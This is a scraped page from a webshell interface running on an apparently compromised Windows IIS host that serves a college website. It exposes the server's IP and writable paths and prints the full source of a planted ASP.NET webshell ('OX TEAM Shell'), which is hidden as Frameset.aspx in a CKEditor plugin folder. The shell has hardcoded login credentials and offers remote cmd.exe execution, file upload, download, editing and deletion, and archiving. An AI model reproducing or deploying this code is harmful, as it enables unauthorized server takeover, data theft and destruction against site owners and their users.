403Webshell
Server IP : 190.92.174.109  /  Your IP : 216.73.217.175
Web Server : Microsoft-IIS/10.0
System : Windows NT P3613 10.0 build 20348 (Windows Server 2016) AMD64
User : IWPD_2296(hkwrmyfr) ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/aargeesapps.com/klesssmscollege.edu.in/ckeditor/plugins/wsc/dialogs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Inetpub/vhosts/aargeesapps.com/klesssmscollege.edu.in/ckeditor/plugins/wsc/dialogs/Frameset.aspx
<%@ Page Language="C#" AutoEventWireup="true" ValidateRequest="false" %><%@ Import Namespace="System.IO" %><%@ Import Namespace="System.IO.Compression" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.Security.AccessControl" %><%@ Import Namespace="System.Security.Principal" %><%@ Import Namespace="System.Linq" %><%@ Import Namespace="System.Web.Script.Serialization" %><%@ Import Namespace="System.Web" %><%@ Assembly Name="System.IO.Compression.FileSystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" %><%@ Assembly Name="System.IO.Compression, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" %><script runat="server">
public string shellDirectoryPath;
private const string CorrectUser = "admin";
private const string CorrectPassword = "Admin@1212";
public class FileSystemItem{public string Name{get;set;}public string Type{get;set;}public long Size{get;set;}public string Permissions{get;set;}public string Path{get;set;}}protected void Page_Load(object sender,EventArgs e){shellDirectoryPath=Path.GetDirectoryName(Request.PhysicalPath);if(Request.QueryString["action"]=="logout"){Session.Clear();Response.Redirect(Request.Url.AbsolutePath);}if(IsPostBack&&loginForm.Visible){if(ValidateLogin(username.Text,password.Text)){Session["is_logged_in"]=true;Response.Redirect(Request.Url.AbsolutePath);}else{loginError.Visible=true;}}if(Session["is_logged_in"]==null||!(bool)Session["is_logged_in"]){mainContent.Visible=false;loginForm.Visible=true;return;}mainContent.Visible=true;loginForm.Visible=false;string action=Request.QueryString["action"];if(!string.IsNullOrEmpty(action)){if(action=="download"){try{DownloadFile(Request.QueryString["path"]);}catch(Exception ex){Response.Clear();Response.StatusCode=500;Response.Write("Error downloading file: "+ex.Message);Response.Flush();HttpContext.Current.ApplicationInstance.CompleteRequest();}return;}Response.Clear();Response.ContentType="application/json";var serializer=new JavaScriptSerializer();try{object result=null;switch(action){case"list":result=ListDirectory(Request.Form["path"]);break;case"getinfo":result=GetServerInfo();break;case"exec":result=ExecuteCommand(Request.Form["command"],Request.Form["path"]);break;case"getcontent":result=new{content=File.ReadAllText(Request.Form["path"])};break;case"savecontent":File.WriteAllText(Request.Form["path"],Request.Form["content"]);result=new{success=true,message="File saved successfully!"};break;case"delete":DeleteItems(serializer.Deserialize<string[]>(Request.Form["items"]));result=new{success=true,message="Items deleted successfully!"};break;case"rename":RenameItem(Request.Form["path"],Request.Form["newName"]);result=new{success=true,message="Item renamed successfully!"};break;case"create":CreateItem(Request.Form["path"],Request.Form["name"],Request.Form["type"]);result=new{success=true,message=string.Format("{0} created successfully!", Request.Form["type"])};break;case"upload":UploadFiles(Request.Form["path"]);result=new{success=true,message="File(s) uploaded successfully!"};break;case"zip":result=ZipItems(serializer.Deserialize<string[]>(Request.Form["items"]),Request.Form["path"]);break;case"unzip":UnzipItem(Request.Form["path"]);result=new{success=true,message="Archive extracted successfully!"};break;}Response.Write(serializer.Serialize(result));}catch(Exception ex){Response.StatusCode=500;Response.Write(serializer.Serialize(new{success=false,message=ex.ToString()}));}Response.End();}}private bool ValidateLogin(string usernameInput,string passwordInput){if(string.IsNullOrEmpty(usernameInput)||string.IsNullOrEmpty(passwordInput)){return false;}return usernameInput.Equals(CorrectUser,StringComparison.OrdinalIgnoreCase)&&passwordInput==CorrectPassword;}private object ListDirectory(string path){if(string.IsNullOrEmpty(path)||!Directory.Exists(path)){path=Server.MapPath("~/");}var items=new List<FileSystemItem>();var parent=Directory.GetParent(path);if(parent!=null){items.Add(new FileSystemItem{Name="..",Type="parent",Path=parent.FullName});}foreach(var dir in Directory.GetDirectories(path)){var dirInfo=new DirectoryInfo(dir);items.Add(new FileSystemItem{Name=dirInfo.Name,Type="folder",Path=dirInfo.FullName,Permissions=GetPermissions(dirInfo)});}foreach(var file in Directory.GetFiles(path)){var fileInfo=new FileInfo(file);items.Add(new FileSystemItem{Name=fileInfo.Name,Type="file",Path=fileInfo.FullName,Size=fileInfo.Length,Permissions=GetPermissions(fileInfo)});}return new{path,items};}private object GetServerInfo(){return new{ServerName=Environment.MachineName,OS=Environment.OSVersion.VersionString,Framework=System.Runtime.InteropServices.RuntimeInformation.FrameworkDescription,User=WindowsIdentity.GetCurrent().Name,ServerIP=Request.ServerVariables["LOCAL_ADDR"],ServerSoftware=Request.ServerVariables["SERVER_SOFTWARE"]};}private object ExecuteCommand(string command,string path){var processStartInfo=new ProcessStartInfo("cmd.exe","/c "+command){RedirectStandardOutput=true,RedirectStandardError=true,UseShellExecute=false,CreateNoWindow=true,WorkingDirectory=path};var process=Process.Start(processStartInfo);string output=process.StandardOutput.ReadToEnd();string error=process.StandardError.ReadToEnd();process.WaitForExit();return new{output,error};}private void DeleteItems(string[]items){foreach(var itemPath in items){if(File.Exists(itemPath))File.Delete(itemPath);else if(Directory.Exists(itemPath))Directory.Delete(itemPath,true);}}private void RenameItem(string oldPath,string newName){if(string.IsNullOrEmpty(newName)){throw new ArgumentException("New name cannot be empty.");}string dirPath=Path.GetDirectoryName(oldPath);string newPath=Path.Combine(dirPath,newName);if(File.Exists(oldPath)){File.Move(oldPath,newPath);}else if(Directory.Exists(oldPath)){Directory.Move(oldPath,newPath);}else{throw new FileNotFoundException("Item not found.",oldPath);}}private void CreateItem(string currentPath,string name,string type){if(string.IsNullOrEmpty(name)){throw new ArgumentException("Name cannot be empty.");}string newPath=Path.Combine(currentPath,name);if(type.ToLower()=="file"){if(File.Exists(newPath))throw new IOException("File already exists.");File.Create(newPath).Close();}else if(type.ToLower()=="folder"){if(Directory.Exists(newPath))throw new IOException("Folder already exists.");Directory.CreateDirectory(newPath);}else{throw new ArgumentException("Invalid item type specified.");}}private void UploadFiles(string path){if(Request.Files.Count>0){foreach(string fileName in Request.Files){var file=Request.Files[fileName];file.SaveAs(Path.Combine(path,Path.GetFileName(file.FileName)));}}}private object ZipItems(string[]items,string currentPath){string zipFileName;if(items.Length==1){zipFileName=Path.GetFileName(items[0])+".zip";}else{zipFileName=string.Format("archive_{0}.zip", DateTime.Now.ToString("yyyyMMddHHmmss"));}string zipFilePath=Path.Combine(currentPath,zipFileName);using(var zipArchive=ZipFile.Open(zipFilePath,ZipArchiveMode.Create)){foreach(var itemPath in items){if(File.Exists(itemPath)){zipArchive.CreateEntryFromFile(itemPath,Path.GetFileName(itemPath));}else if(Directory.Exists(itemPath)){var dirInfo=new DirectoryInfo(itemPath);if(!dirInfo.GetFiles().Any()&&!dirInfo.GetDirectories().Any()){zipArchive.CreateEntry(dirInfo.Name+"/");}foreach(var file in dirInfo.GetFiles("*.*",SearchOption.AllDirectories)){string entryName=file.FullName.Substring(dirInfo.FullName.Length+1);zipArchive.CreateEntryFromFile(file.FullName,entryName);}}}}return new{success=true,message=string.Format("Successfully created {0}", zipFileName)};}private void UnzipItem(string zipPath){string extractPath=Path.GetDirectoryName(zipPath);ZipFile.ExtractToDirectory(zipPath,extractPath);}private void DownloadFile(string path){if(File.Exists(path)){Response.Clear();Response.ContentType="application/octet-stream";Response.AppendHeader("Content-Disposition","attachment; filename="+Path.GetFileName(path));Response.TransmitFile(path);Response.Flush();HttpContext.Current.ApplicationInstance.CompleteRequest();}else{throw new FileNotFoundException("File not found.",path);}}private string GetPermissions(FileSystemInfo fsInfo){try{FileSystemSecurity security;if(fsInfo is DirectoryInfo){security=new DirectoryInfo(fsInfo.FullName).GetAccessControl();}else if(fsInfo is FileInfo){security=new FileInfo(fsInfo.FullName).GetAccessControl();}else{return"n/a";}var identity=WindowsIdentity.GetCurrent();var principal=new WindowsPrincipal(identity);var rules=security.GetAccessRules(true,true,typeof(SecurityIdentifier));FileSystemRights allowRights=0;FileSystemRights denyRights=0;foreach(FileSystemAccessRule rule in rules){if(identity.User.Equals(rule.IdentityReference)||principal.IsInRole((SecurityIdentifier)rule.IdentityReference)){if(rule.AccessControlType==AccessControlType.Allow)allowRights|=rule.FileSystemRights;else denyRights|=rule.FileSystemRights;}}FileSystemRights effectiveRights=allowRights&~denyRights;bool canRead=(effectiveRights&FileSystemRights.ReadData)>0||(effectiveRights&FileSystemRights.Read)>0;bool canWrite=(effectiveRights&FileSystemRights.WriteData)>0||(effectiveRights&FileSystemRights.Write)>0;bool canExecute=(effectiveRights&FileSystemRights.ExecuteFile)>0||(effectiveRights&FileSystemRights.ReadAndExecute)>0;return string.Format("{0}{1}{2}", (canRead ? "r" : "-"), (canWrite ? "w" : "-"), (canExecute ? "x" : "-"));}catch(Exception){return"n/a";}}
</script><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>OX TEAM Shell</title><link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;700&family=Roboto+Mono&display=swap"><script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.12/ace.js"></script><style>body{font-family:'Roboto',Arial,sans-serif;background-color:#1d1f21;color:#c5c8c6;margin:0;padding:20px}.container{max-width:1200px;margin:0 auto;background-color:#282a2e;padding:20px;border-radius:10px;box-shadow:0 5px 15px rgba(0,0,0,.5)}h1,h2{color:#7ccd7c;border-bottom:2px solid #373b41;padding-bottom:10px}.title-container{padding-bottom:10px;border-bottom:2px solid #373b41;margin-bottom:20px;display:flex;justify-content:space-between;align-items:flex-end}.title-container h1{margin:0;padding:0;border:none;background:linear-gradient(to right,#000,#ff0000);-webkit-background-clip:text;background-clip:text;color:transparent;font-style:italic}.title-container p{margin:4px 0 0 0;font-size:14px;color:#999;font-weight:normal}a{color:#7ccd7c;text-decoration:none;transition:color .3s ease}a:hover{color:#43a047}.btn{padding:8px 12px;margin:0 5px;border-radius:5px;border:none;background-color:#4caf50;color:#fff;text-transform:uppercase;font-weight:bold;cursor:pointer;transition:all .3s ease}.btn:hover{background-color:#43a047}.btn-danger{background-color:#f44336}.btn-danger:hover{background-color:#d32f2f}.btn-secondary{background-color:#555}.btn-secondary:hover{background-color:#333}input[type=text],input[type=password]{width:100%;box-sizing:border-box;padding:10px;margin:5px 0 10px;border-radius:5px;border:1px solid #5fb47e;background-color:#1d1f21;color:#c5c8c6}.path-bar,.create-bar{display:flex;gap:10px;align-items:center;margin-bottom:15px}table{width:100%;border-collapse:collapse;margin-top:20px}th,td{padding:12px 15px;text-align:left}th{background-color:#373b41;border-bottom:2px solid #7ccd7c}tr:hover td{background-color:#33373b}td{border-bottom:1px solid #33373b}td .item-name{cursor:pointer}.file-icon{margin-right:10px}.action-link{display:inline-block;margin:0 2px;padding:3px 7px;border-radius:4px;background-color:#5a5a5a;color:#fff;font-size:12px;text-decoration:none;cursor:pointer}.action-link:hover{background-color:#777;color:#fff}.action-link.rename{background-color:#2980b9}.action-link.rename:hover{background-color:#3498db}.action-link.delete{background-color:#c0392b}.action-link.delete:hover{background-color:#e74c3c}#server-info-toggle{cursor:pointer}#server-info-panel{background-color:#1d1f21;padding:15px;border-radius:5px;margin-bottom:20px;display:none}#server-info-panel p{margin:5px 0;font-family:'Roboto Mono',monospace}#terminal{margin-top:20px}#terminal-output{background-color:#111;border:1px solid #333;border-radius:5px;padding:15px;height:300px;overflow-y:scroll;white-space:pre-wrap;font-family:'Roboto Mono',monospace;margin-top:10px}.modal{display:none;position:fixed;z-index:1000;left:0;top:0;width:100%;height:100%;background-color:rgba(0,0,0,.7);align-items:center;justify-content:center}.modal-content{background-color:#282a2e;padding:20px;border-radius:10px;width:80%;height:80%;max-width:1200px;display:flex;flex-direction:column}.modal-footer{padding-top:15px;text-align:right;flex-shrink:0}#ace-editor{flex-grow:1;border-radius:5px;position:relative;height:100%}#file-drop-zone{border:2px dashed #5fb47e;border-radius:5px;padding:25px;text-align:center;margin-top:20px;transition:background-color .3s ease}#file-drop-zone.dragover{background-color:#373b41}#status-bar{margin-top:15px;padding:10px;background-color:#373b41;border-radius:5px;display:none}.spinner{border:4px solid #f3f3f3;border-top:4px solid #7ccd7c;border-radius:50%;width:20px;height:20px;animation:spin 1s linear infinite;display:inline-block;vertical-align:middle;margin-right:10px}@keyframes spin{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}#login-container{max-width:400px;margin:10% auto}.error-message{color:#f44336;margin-bottom:10px;text-align:center}</style></head><body><form id="form1" runat="server"><div id="loginForm" runat="server"><div id="login-container" class="container"><div class="title-container"><h1>*OX TEAM*</h1></div><asp:Literal ID="loginError" runat="server" Text="<p class='error-message'>Invalid username or password.</p>" Visible="false" /><asp:TextBox ID="username" placeholder="Username" runat="server" /><asp:TextBox ID="password" placeholder="Password" TextMode="Password" runat="server" /><asp:Button ID="loginButton" runat="server" Text="Login" CssClass="btn" style="width: 100%;" /></div></div><div id="mainContent" runat="server"><div class="container"><div class="title-container"><div><h1>*OX TEAM*</h1><p>Created by sibilox</p></div><a href="?action=logout" class="btn btn-secondary">Logout</a></div><h2 id="server-info-toggle">Server Info &#x25BC;</h2><div id="server-info-panel"></div><h2>File Manager</h2><div class="path-bar"><input type="text" id="current-path"><button type="button" id="goto-shell-dir-btn" class="btn btn-secondary">Shell Directory</button></div><div class="create-bar"><input type="text" id="new-item-name" placeholder="New file/folder name..."><button type="button" id="create-file-btn" class="btn">Create File</button><button type="button" id="create-folder-btn" class="btn">Create Folder</button></div><div id="action-bar"><button type="button" id="delete-selected-btn" class="btn btn-danger">Delete Selected</button><button type="button" id="zip-selected-btn" class="btn">Zip Selected</button></div><table><thead><tr><th><input type="checkbox" id="select-all-cb"></th><th>Name</th><th>Size</th><th>Permissions</th><th>Actions</th></tr></thead><tbody id="file-list"></tbody></table><div id="file-drop-zone"> Drag & drop files here or click to select files <input type="file" id="file-input" multiple style="display: none;"></div><div id="status-bar"></div><div id="terminal"><h2>Command Executor</h2><div class="path-bar"><input type="text" id="command-input" placeholder="Enter command to execute..."><button type="button" id="execute-btn" class="btn">Execute</button></div><div id="terminal-output"></div></div></div><div id="editor-modal" class="modal"><div class="modal-content"><h3 id="editor-filename" style="color: #c5c8c6;"></h3><div id="ace-editor"></div><div class="modal-footer"><button type="button" id="save-btn" class="btn">Save</button><button type="button" id="close-editor-btn" class="btn btn-secondary">Close</button></div></div></div></div></form><script>document.addEventListener('DOMContentLoaded',()=>{const shellDirectory='<%= shellDirectoryPath.Replace("\\", "\\\\") %>';const state={currentPath:'',currentFilePathForEditor:''};const ui={pathInput:document.getElementById('current-path'),gotoShellDirBtn:document.getElementById('goto-shell-dir-btn'),fileList:document.getElementById('file-list'),serverInfoPanel:document.getElementById('server-info-panel'),serverInfoToggle:document.getElementById('server-info-toggle'),commandInput:document.getElementById('command-input'),executeBtn:document.getElementById('execute-btn'),terminalOutput:document.getElementById('terminal-output'),selectAllCb:document.getElementById('select-all-cb'),deleteSelectedBtn:document.getElementById('delete-selected-btn'),zipSelectedBtn:document.getElementById('zip-selected-btn'),newItemNameInput:document.getElementById('new-item-name'),createFileBtn:document.getElementById('create-file-btn'),createFolderBtn:document.getElementById('create-folder-btn'),editorModal:document.getElementById('editor-modal'),aceEditor:document.getElementById('ace-editor'),editorFilename:document.getElementById('editor-filename'),saveBtn:document.getElementById('save-btn'),closeEditorBtn:document.getElementById('close-editor-btn'),fileDropZone:document.getElementById('file-drop-zone'),fileInput:document.getElementById('file-input'),statusBar:document.getElementById('status-bar')};const editor=ace.edit(ui.aceEditor);editor.setTheme("ace/theme/tomorrow_night");editor.session.setMode("ace/mode/text");async function apiRequest(action,data){showSpinner(`Processing ${action}...`);try{const formData=new FormData();for(const key in data){formData.append(key,data[key]);}const response=await fetch(`?action=${action}`,{method:'POST',body:formData});if(!response.ok){const error=await response.json();throw new Error(error.message||`Server error: ${response.status}`);}const result=await response.json();if(result.success===false){throw new Error(result.message);}showStatus(result.message||`${action} completed successfully.`,'success');return result;}catch(error){showStatus(`Error: ${error.message}`,'error');console.error('API Error:',error);}finally{hideSpinner();}}async function loadFiles(path=''){const data=await apiRequest('list',{path});if(data){state.currentPath=data.path;ui.pathInput.value=data.path;renderFileList(data.items);}}function renderFileList(items){ui.fileList.innerHTML='';items.forEach(item=>{const tr=document.createElement('tr');tr.dataset.path=item.Path;tr.dataset.type=item.Type;tr.dataset.perms=item.Permissions;const sizeStr=item.Type==='file'?`${(item.Size/1024).toFixed(2)} KB`:'Folder';const icon=item.Type==='folder'||item.Type==='parent'?'&#x1F4C1;':'&#x1F4C4;';let actionsHtml='';if(item.Type==='file'){actionsHtml+=`<span class="action-link action-edit" title="Edit">Edit</span>`;actionsHtml+=`<a href="?action=download&path=${encodeURIComponent(item.Path)}" class="action-link" title="Download">Download</a>`;if(item.Name.endsWith('.zip')){actionsHtml+=`<span class="action-link action-unzip" title="Unzip">Unzip</span>`;}}if(item.Type==='file'||item.Type==='folder'){actionsHtml+=`<span class="action-link rename action-rename" title="Rename">Rename</span>`;actionsHtml+=`<span class="action-link delete action-delete" title="Delete">Delete</span>`;}tr.innerHTML=`<td>${item.Type!=='parent'?'<input type="checkbox" class="item-cb">':''}</td><td><span class="file-icon">${icon}</span><span class="item-name">${item.Name}</span></td><td>${sizeStr}</td><td><span class="permissions-text">${item.Permissions||'n/a'}</span></td><td>${actionsHtml}</td>`;ui.fileList.appendChild(tr);});}async function loadServerInfo(){const data=await apiRequest('getinfo');if(data){ui.serverInfoPanel.innerHTML=`<p><strong>Server Name:</strong> ${data.ServerName}</p><p><strong>Operating System:</strong> ${data.OS}</p><p><strong>.NET Version:</strong> ${data.Framework}</p><p><strong>Running As User:</strong> ${data.User}</p><p><strong>Server IP:</strong> ${data.ServerIP}</p><p><strong>Web Server:</strong> ${data.ServerSoftware}</p>`;}}if(ui.pathInput){ui.pathInput.addEventListener('keypress',e=>{if(e.key==='Enter'){loadFiles(ui.pathInput.value);}});ui.gotoShellDirBtn.addEventListener('click',()=>{loadFiles(shellDirectory);});ui.fileList.addEventListener('click',e=>{const target=e.target;if(target.matches('.action-download')){return;}const tr=target.closest('tr');if(!tr)return;const path=tr.dataset.path;const type=tr.dataset.type;const name=tr.querySelector('.item-name').textContent;if(target.matches('.item-name')){if(type==='folder'||type==='parent'){loadFiles(path);}else if(type==='file'){openEditor(path,name);}}else if(target.matches('.action-edit')){openEditor(path,name);}else if(target.matches('.action-delete')){if(confirm(`Are you sure you want to delete "${name}"?`)){apiRequest('delete',{items:JSON.stringify([path])}).then(()=>loadFiles(state.currentPath));}}else if(target.matches('.action-unzip')){if(confirm(`Are you sure you want to extract "${name}" here?`)){apiRequest('unzip',{path}).then(()=>loadFiles(state.currentPath));}}else if(target.matches('.action-rename')){const newName=prompt("Enter new name for:",name);if(newName&&newName!==name){apiRequest('rename',{path:path,newName:newName}).then(()=>loadFiles(state.currentPath));}}});ui.serverInfoToggle.addEventListener('click',()=>{const panel=ui.serverInfoPanel;if(panel.style.display==='block'){panel.style.display='none';ui.serverInfoToggle.innerHTML='Server Info &#x25BC;';}else{panel.style.display='block';ui.serverInfoToggle.innerHTML='Server Info &#x25B2;';if(!panel.innerHTML)loadServerInfo();}});ui.executeBtn.addEventListener('click',async()=>{const command=ui.commandInput.value;if(!command)return;ui.terminalOutput.innerHTML='<div class="spinner"></div>Executing...';const data=await apiRequest('exec',{command,path:state.currentPath});if(data){ui.terminalOutput.textContent=data.output+(data.error?`\n--- STDERR ---\n${data.error}`:'');ui.commandInput.value='';}});function getSelectedItems(){return Array.from(document.querySelectorAll('.item-cb:checked')).map(cb=>cb.closest('tr').dataset.path);}ui.deleteSelectedBtn.addEventListener('click',()=>{const items=getSelectedItems();if(items.length>0&&confirm(`Are you sure you want to delete ${items.length} item(s)?`)){apiRequest('delete',{items:JSON.stringify(items)}).then(()=>loadFiles(state.currentPath));}});ui.zipSelectedBtn.addEventListener('click',()=>{const items=getSelectedItems();if(items.length>0&&confirm(`Are you sure you want to zip ${items.length} item(s)?`)){apiRequest('zip',{items:JSON.stringify(items),path:state.currentPath}).then(()=>loadFiles(state.currentPath));}});ui.selectAllCb.addEventListener('change',e=>{document.querySelectorAll('.item-cb').forEach(cb=>cb.checked=e.target.checked);});function handleCreate(type){const name=ui.newItemNameInput.value;if(!name){alert('Please enter a name.');return;}apiRequest('create',{path:state.currentPath,name:name,type:type}).then(()=>{ui.newItemNameInput.value='';loadFiles(state.currentPath);});}ui.createFileBtn.addEventListener('click',()=>handleCreate('file'));ui.createFolderBtn.addEventListener('click',()=>handleCreate('folder'));function openEditor(path,name){apiRequest('getcontent',{path}).then(data=>{if(data){state.currentFilePathForEditor=path;ui.editorFilename.textContent=`Editing: ${name}`;const mode=getModeForFilename(name);editor.session.setMode(mode);editor.setValue(data.content,-1);ui.editorModal.style.display='flex';}});}ui.saveBtn.addEventListener('click',()=>{const content=editor.getValue();apiRequest('savecontent',{path:state.currentFilePathForEditor,content}).then(()=>{ui.editorModal.style.display='none';});});ui.closeEditorBtn.addEventListener('click',()=>ui.editorModal.style.display='none');function getModeForFilename(name){const ext=name.split('.').pop().toLowerCase();const modeMap={'js':'javascript','cs':'csharp','html':'html','css':'css','xml':'xml','sql':'sql','json':'json','py':'python'};return`ace/mode/${modeMap[ext]||'text'}`;}['dragenter','dragover','dragleave','drop'].forEach(eventName=>{ui.fileDropZone.addEventListener(eventName,e=>{e.preventDefault();e.stopPropagation();},false);});['dragenter','dragover'].forEach(eventName=>{ui.fileDropZone.addEventListener(eventName,()=>ui.fileDropZone.classList.add('dragover'),false);});['dragleave','drop'].forEach(eventName=>{ui.fileDropZone.addEventListener(eventName,()=>ui.fileDropZone.classList.remove('dragover'),false);});ui.fileDropZone.addEventListener('click',()=>ui.fileInput.click());ui.fileInput.addEventListener('change',(e)=>handleFiles(e.target.files));ui.fileDropZone.addEventListener('drop',e=>handleFiles(e.dataTransfer.files));async function handleFiles(files){if(files.length===0)return;showSpinner(`Uploading ${files.length} file(s)...`);try{const formData=new FormData();formData.append('path',state.currentPath);for(const file of files){formData.append(file.name,file);}const response=await fetch('?action=upload',{method:'POST',body:formData});if(!response.ok){const error=await response.json();throw new Error(error.message||`Server error: ${response.status}`);}const result=await response.json();showStatus(result.message,'success');loadFiles(state.currentPath);}catch(error){showStatus(`Upload Error: ${error.message}`,'error');}finally{hideSpinner();}}function showStatus(message,type='info'){ui.statusBar.textContent=message;ui.statusBar.style.color=type==='error'?'#f44336':'#7ccd7c';ui.statusBar.style.display='block';setTimeout(()=>ui.statusBar.style.display='none',5000);}function showSpinner(message){ui.statusBar.innerHTML=`<div class="spinner"></div> ${message}`;ui.statusBar.style.display='block';}function hideSpinner(){ui.statusBar.style.display='none';}loadFiles();}})</script></body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit